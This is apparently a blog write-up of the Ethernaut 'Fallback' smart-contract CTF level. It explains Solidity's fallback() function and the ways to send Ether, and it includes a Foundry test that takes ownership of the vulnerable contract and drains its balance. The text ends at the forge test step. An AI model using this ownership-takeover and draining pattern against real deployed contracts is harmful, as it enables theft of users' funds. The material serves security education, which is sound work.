PermalinkOverview
This level introduces us to the following concepts:
fallback()
native Solidity function.- Difference between
send()
,call()
andtransfer()
for sending Ether.
GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry
PermalinkObjective
To complete the challenge, we will need: to
- Claim ownership of the contract (i.e: our EoA is the
owner()
) - Reduce its balance to 0 (siphon all the monies)
PermalinkContract Analysis
Initially, the contract's owner will be whoever deploys a Fallback
instance:
constructor() {
owner = payable(msg.sender); // <-- this line over here
contributions[msg.sender] = 1000 * (1 ether);
}
Only the owner
is allowed to call the withdraw()
function:
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
It is possible to change ownership once the contract has been deployed by calling the contribute()
function:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
Judging by the following snippet:
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
We can tell that any account who sends more ETH to this function than the previously defined owner
will be declared as the new owner
.
The require()
statement limits the maximum contribution size to 0.001 ether
and the initial contribution size for the contract deployer is set at 1000 ether
. With enough time and efforts, we could attack the contract this way but there is a better method.
There is a second function that can trigger a change of ownership. It is the fallback()
function and its a special one:
fallback() external payable {
require(
msg.value > 0 && contributions[msg.sender] > 0,
"tx must have value and msg.send must have made a contribution"
);
owner = payable(msg.sender);
}
The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable.
In other words, fallback
is a function that does not take any arguments and does not return anything. It is executed either when:
- a function that does not exist is called or
- Ether is sent directly to a contract but
receive()
does not exist ormsg.data
is not empty
PermalinkSending Ether
There are three methods to send Ether between two accounts:
Function | Amount of Gas Forwarded | Exception Propagation |
send | 2300 (not adjustable) | false on failure |
transfer | 2300 (not adjustable) | throws on failure |
call | all remaining gas (adjustable) | false on failure |
We will need to use the call
method so that the contract has enough gas left to change the owner
state after performing the transfer. Both send
and transfer
have a fixed gas stipend, which would be insufficient for this purpose.
💡 Recommended reads:
PermalinkAttacking The Contract
💡 Make sure to read through Part 0 for setup instructions.
Create a Fallback.t.sol
test file in the test/
directory that will contain the attack logic (level setup and submission is truncated for clarity):
function testFallbackHack() public {
// Contribute one time to satisfy ownership change condition
fallbackContract.contribute{value: 1 wei}();
emit log_named_uint(
"Verify contribution state change: ",
fallbackContract.getContribution()
);
// Send Ether to the contract which triggers the `fallback()` function
payable(address(fallbackContract)).call{value: 1 wei}("");
assertEq(fallbackContract.owner(), attacker);
emit log_named_uint(
"Contract balance (before): ",
address(fallbackContract).balance
);
emit log_named_uint("Attacker balance (before): ", attacker.balance);
fallbackContract.withdraw(); // Empty smart contract funds
assertEq(address(fallbackContract).balance, 0);
emit log_named_uint(
"Contract balance (after): ",
address(fallbackContract).balance
);
emit log_named_uint("Attacker balance (after): ", attacker.balance);
}
Run the attack using theforge test
subcommand: